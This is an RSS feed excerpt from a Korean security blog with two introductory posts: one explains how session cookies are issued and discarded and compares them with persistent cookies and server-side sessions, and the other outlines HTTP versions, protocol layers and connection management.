&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1149&quot; data-origin-height=&quot;514&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvputT/btsKCUUgndN/bEl7czMMFtCpS7vxKK6Vyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvputT/btsKCUUgndN/bEl7czMMFtCpS7vxKK6Vyk/img.png&quot; data-alt=&quot;그림10 - 세션 쿠키를 통한 통신&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvputT/btsKCUUgndN/bEl7czMMFtCpS7vxKK6Vyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvputT%2FbtsKCUUgndN%2FbEl7czMMFtCpS7vxKK6Vyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1149&quot; height=&quot;514&quot; data-origin-width=&quot;1149&quot; data-origin-height=&quot;514&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림10 - 세션 쿠키를 통한 통신&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;세션 쿠키(Session Cookie) - 세션 발급 과정&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 세션 쿠키를 기반으로 된 로그인 기능이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 클라이언트 &amp;rarr; 서버 = 로그인 시도, 웹 어플리케이션 서버에 세션값(의미없는 문자열 + 로그인 데이터) 저장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 서버 &amp;rarr; 클라이언트 = 응답값 전송, Set-Cookie 세팅, 클라이언트는 해당 사이트에 대한 세션값 세팅&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 클라이언트 &amp;rarr; 서버 = Cookie 헤더를 통해 세션값을 세팅, 서버에 저장된 세션으로 인해 로그인 지속 유지&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1251&quot; data-origin-height=&quot;735&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqxPFG/btsKC6UCPMo/lnDZLqVIRbhEH8wCHITopK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqxPFG/btsKC6UCPMo/lnDZLqVIRbhEH8wCHITopK/img.png&quot; data-alt=&quot;그림11 - 세션 발급 과정(1)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqxPFG/btsKC6UCPMo/lnDZLqVIRbhEH8wCHITopK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqxPFG%2FbtsKC6UCPMo%2FlnDZLqVIRbhEH8wCHITopK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1251&quot; height=&quot;735&quot; data-origin-width=&quot;1251&quot; data-origin-height=&quot;735&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림11 - 세션 발급 과정(1)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1164&quot; data-origin-height=&quot;580&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bA2s88/btsKBMpFCve/hFeX0EzKQaCGfXSaeGlx30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bA2s88/btsKBMpFCve/hFeX0EzKQaCGfXSaeGlx30/img.png&quot; data-alt=&quot;그림12 - 세션 발급 과정(2)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bA2s88/btsKBMpFCve/hFeX0EzKQaCGfXSaeGlx30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbA2s88%2FbtsKBMpFCve%2FhFeX0EzKQaCGfXSaeGlx30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1164&quot; height=&quot;580&quot; data-origin-width=&quot;1164&quot; data-origin-height=&quot;580&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림12 - 세션 발급 과정(2)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;712&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CWEsK/btsKCYvx5NZ/dEWYfuBvlAwXAuFyqkvIx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CWEsK/btsKCYvx5NZ/dEWYfuBvlAwXAuFyqkvIx0/img.png&quot; data-alt=&quot;그림13 - 세션 발급 과정(3)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CWEsK/btsKCYvx5NZ/dEWYfuBvlAwXAuFyqkvIx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCWEsK%2FbtsKCYvx5NZ%2FdEWYfuBvlAwXAuFyqkvIx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1279&quot; height=&quot;712&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;712&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림13 - 세션 발급 과정(3)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;세션 쿠키(Session Cookie) - 세션 폐기 과정&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 세션 폐기 과정이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 클라이언트 &amp;rarr; 서버 = 로그아웃 요청, 서버에서 해당 계정에 대한 세션값 삭제&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 서버 &amp;rarr; 클라이언트 = 로그아웃 완료&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 쿠키는 지속 쿠키와 다르게 폐기 후 재사용에 대한 문제점이 해결된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 서버에서 세션값을 삭제했기 때문에, 동일한 문자열의 세션값으로 로그인 시도를 해도 로그인이 되지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1185&quot; data-origin-height=&quot;723&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bE647E/btsKCo2BUuV/n9QvabiU9fPHwz6eTS17s0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bE647E/btsKCo2BUuV/n9QvabiU9fPHwz6eTS17s0/img.png&quot; data-alt=&quot;그림14 - 세션 폐기 과정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bE647E/btsKCo2BUuV/n9QvabiU9fPHwz6eTS17s0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbE647E%2FbtsKCo2BUuV%2Fn9QvabiU9fPHwz6eTS17s0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1185&quot; height=&quot;723&quot; data-origin-width=&quot;1185&quot; data-origin-height=&quot;723&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림14 - 세션 폐기 과정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;지속 쿠키의 필요성&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;세션 쿠키를 사용하면 되지, 왜 지속 쿠키를 사용할까?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 쿠키를 사용하면 보안 담당자, 개발자들이 편하다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 대규모 웹 서비스의 경우 수많은 사용자들의 세션을 관리하기에는 서버에 엄청난 부하를 가져온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 이유로 서버에 부담이 낮은 지속 쿠키 사용을 많이 선호한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1222&quot; data-origin-height=&quot;636&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/E8WgW/btsKBOOFlvq/kXSlJNYsNjTCQV4Gve9wcK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/E8WgW/btsKBOOFlvq/kXSlJNYsNjTCQV4Gve9wcK/img.png&quot; data-alt=&quot;그림15 - 지속 쿠키 사용 이유&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/E8WgW/btsKBOOFlvq/kXSlJNYsNjTCQV4Gve9wcK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FE8WgW%2FbtsKBOOFlvq%2FkXSlJNYsNjTCQV4Gve9wcK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1222&quot; height=&quot;636&quot; data-origin-width=&quot;1222&quot; data-origin-height=&quot;636&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림15 - 지속 쿠키 사용 이유&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠키와 세션의 차이는 &lt;a href=&quot;https://it-log.tistory.com/66&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;여기&lt;/a&gt;를 참고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;정리&lt;/b&gt;&lt;/h2&gt;
&lt;table id=&quot;2f438086-4fff-80b2-bac7-ce3f6c1a2114&quot; style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr id=&quot;2f438086-4fff-806b-8f76-f71333fb347a&quot;&gt;
&lt;td id=&quot;dMI:&quot;&gt;&lt;b&gt;명칭&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;_@Ea&quot;&gt;&lt;b&gt;저장되는 곳 (물리적 위치)&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;s_vb&quot;&gt;&lt;b&gt;특징&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;2f438086-4fff-8052-b776-cc6b93e478d5&quot;&gt;
&lt;td id=&quot;dMI:&quot;&gt;&lt;b&gt;세션 쿠키 (Session Cookie)&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;_@Ea&quot;&gt;사용자 컴퓨터의 &lt;b&gt;RAM (메모리)&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;s_vb&quot;&gt;브라우저를 끄면 증발함 (PHPSESSID)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;2f438086-4fff-804c-9999-f65424391e5f&quot;&gt;
&lt;td id=&quot;dMI:&quot;&gt;&lt;b&gt;지속 쿠키 (Persistent Cookie)&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;_@Ea&quot;&gt;사용자 컴퓨터의 &lt;b&gt;HDD/SSD (파일)&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;s_vb&quot;&gt;브라우저를 꺼도 수명만큼 살아남음 (remember_id)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;2f438086-4fff-8044-9365-fc480bb0c0ee&quot;&gt;
&lt;td id=&quot;dMI:&quot;&gt;&lt;b&gt;세션 (Session)&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;_@Ea&quot;&gt;&lt;b&gt;웹 서버의 메모리 or DB or 파일&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;s_vb&quot;&gt;실제 로그인 정보(ID, 등급 등)가 담긴 본체&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88&lt;/a&gt;&lt;/p&gt;</description>
      <category>웹 해킹/웹 기초 지식</category>
      <category>세션</category>
      <category>쿠키</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/196</guid>
      <comments>https://it-log.tistory.com/196#entry196comment</comments>
      <pubDate>Sat, 9 Nov 2024 22:00:12 +0900</pubDate>
    </item>
    <item>
      <title>웹의 핵심 기술 HTTP 프로토콜</title>
      <link>https://it-log.tistory.com/195</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;HTTP 프로토콜 개념&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀 버너스 리 박사에 의해 개발된 HTTP(HyperText Transfer Protocol)는 하이퍼텍스트 문서를 전송하기 위해 사용되는 프로토콜, 즉 통신 규약으로 웹의 핵심 기술이다. 하이퍼텍스트 문서는 HTML 파일이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;510&quot; data-origin-height=&quot;150&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqmv1b/btsKy0uuQGZ/lLLe93qbBFn4asLA6NEQ0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqmv1b/btsKy0uuQGZ/lLLe93qbBFn4asLA6NEQ0K/img.png&quot; data-alt=&quot;그림1 - HTTP 통신&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqmv1b/btsKy0uuQGZ/lLLe93qbBFn4asLA6NEQ0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbqmv1b%2FbtsKy0uuQGZ%2FlLLe93qbBFn4asLA6NEQ0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;510&quot; height=&quot;150&quot; data-origin-width=&quot;510&quot; data-origin-height=&quot;150&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - HTTP 통신&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;HTTP 버전&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP 버전은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;HTTP/0.9&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최초로 웹이 만들어 졌을 때 오직 HTML을 받아 오기위해 만들어 졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 버전 번호도 없고 명세서도 없으며, 정식 사양이 아니었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 HTTP/1.0부터 정식 사양으로 되면서 이전이랑 의미로 HTTP/0.9라는 버전이 붙여졌다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP/0.9는 GET메소드만 지원하며, 특별한 기능은 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP/0.9에서 HTTP/1.0으로 빠르게 대체되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;HTTP/1.0&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP의 정식 사양으로 처음으로 널리 사용하기 시작한 버전으로 RFC1945가 발행되었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP/1.0부터 POST, HEAD 메소드,&amp;nbsp; 헤더를 지원하며, 요청의 결과를 알 수 있는 상태코드가 추가되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTML 파일들 외 다른 파일들도 전송이 가능하게 되었다. 허나 &lt;b&gt;각 요청마다 새로운 연결을 맺고 끊고 다시 새로운 연결을 맺는 비효율적인 비 연결지향(Connectionless)방식&lt;/b&gt;으로 성능이 떨어진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;HTTP/1.0+&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP/1.0은 비효율적인 연결에 대한 문제가 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;HTTP/1.0+에서는 &quot;Keep-Alive 커넥션&quot;을 지원함으로써 여러 번 커넥션을 맺는 설계상의 문제를 해결&lt;/b&gt;하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;HTTP/1.1&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP/1.1은 현재 가장 많이 사용되고 있는 버전으로 HTTP의 설계상 문제들을 해결하고 성능을 최적화하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP/1.0+에서는 Keep-Alive 커넥션을 통해 지속 연결(Persistence Conneciton)을 지원하였으나, HTTP/1.1부터 Keep-Alive는 명세에서 빠지고 &lt;b&gt;기본으로 지속 연결이 활성화&lt;/b&gt; 되어 있다. 모든 요청이 끝나면 &quot;Conneciton:close&quot; 헤더를 통해 연결 종료를 알린다. 또한, 기존이 &quot;GET, POST, HEAD&quot; 3가지 뿐이었던 메소드가 &quot;OPTIONS, PUT, DELETE&quot; 등 많은 메소드가 추가되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;HTTP/2.0&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP의 성능 문제는 여전히 존재하였으며, 특히 요즘 웹의 경우 하나의 웹 페이지를 보기 위해서 수십개의 요청을 보내야 정상적으로 페이지를 볼 수 있다. 때문에 이런 문제를 해결할 수 있는 HTTP/2.0이 등장하였다. HTTP/2.0은 성능 향상에 초점을 둔 프로토콜로 멀티플렉싱 스트림, 헤더 압축, 서버 푸시 등의 기능이 추가되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;OSI 7 Layer에서 바라 본 HTTP 프로토콜&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OSI 계층 모델은 각 기능별 모듈화 된 기능을 계층별로 총 7계층으로 구성되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 이는 교육에 대한 적합한 모델로 실제 TCP/IP 계층 모델을 표준으로 하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹에서 사용되는 HTTP, HTTPS 프로토콜은 응용 계층에 해당 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;832&quot; data-origin-height=&quot;431&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btgD77/btsKAvuAQKG/vX9X6cPFYe5geX5D9fXOQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btgD77/btsKAvuAQKG/vX9X6cPFYe5geX5D9fXOQK/img.png&quot; data-alt=&quot;그림2 - OSI 7 Layer, TCP/IP 계층&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btgD77/btsKAvuAQKG/vX9X6cPFYe5geX5D9fXOQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtgD77%2FbtsKAvuAQKG%2FvX9X6cPFYe5geX5D9fXOQK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;832&quot; height=&quot;431&quot; data-origin-width=&quot;832&quot; data-origin-height=&quot;431&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - OSI 7 Layer, TCP/IP 계층&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;TCP/IP 통신에 대한 이해&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리는 인터넷을 이용하여 TCP/IP 기반의 통신을 하며, 대부분의 네트워크 통신은 TCP/IP기반 통신을 근간으로 한다. 이때 통신을 하기 위한 중요한 정보가 있는데 IP와 port가 있다. IP를 통해 물리적 호스트 대상을 찾으며, port를 통해 논리적 대상을 찾는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;492&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lfZhe/btsKA7fuDpa/W5Gx5xo0e2i5cWVlz3WYf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lfZhe/btsKA7fuDpa/W5Gx5xo0e2i5cWVlz3WYf1/img.png&quot; data-alt=&quot;그림3 - 브라우저와 서버의 통신&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lfZhe/btsKA7fuDpa/W5Gx5xo0e2i5cWVlz3WYf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlfZhe%2FbtsKA7fuDpa%2FW5Gx5xo0e2i5cWVlz3WYf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;492&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;492&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - 브라우저와 서버의 통신&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;통신 순서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 3-way handshake&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 데이터 전송 및 수신&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;연결 관리 방식&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP 프로토콜의 연결 관리 방식은 크게 두 가지로 나뉜다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;- 비 지속 연결(Non-Persistent Connection)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;- 지속 연결(Persistent Connection)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP 버전에 따라 사용 되는 연결 방식이 다른데, HTTP/0.9, HTTP/1.0까지는 비 지속 연결이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP/1.0+, HTTP/1.1, HTTP/2.0은 지속 연결이다. HTTP/1.0+에서 Keep-Alive 커넥션을 통해 지속 연결을 지원하며, HTTP/1.1부터는 명세에서 빠지고 지속 연결을 기본으로 한다. 즉, Keep-Alive 사용없이 모든 연결을 지속 연결로 한다.&lt;/p&gt;
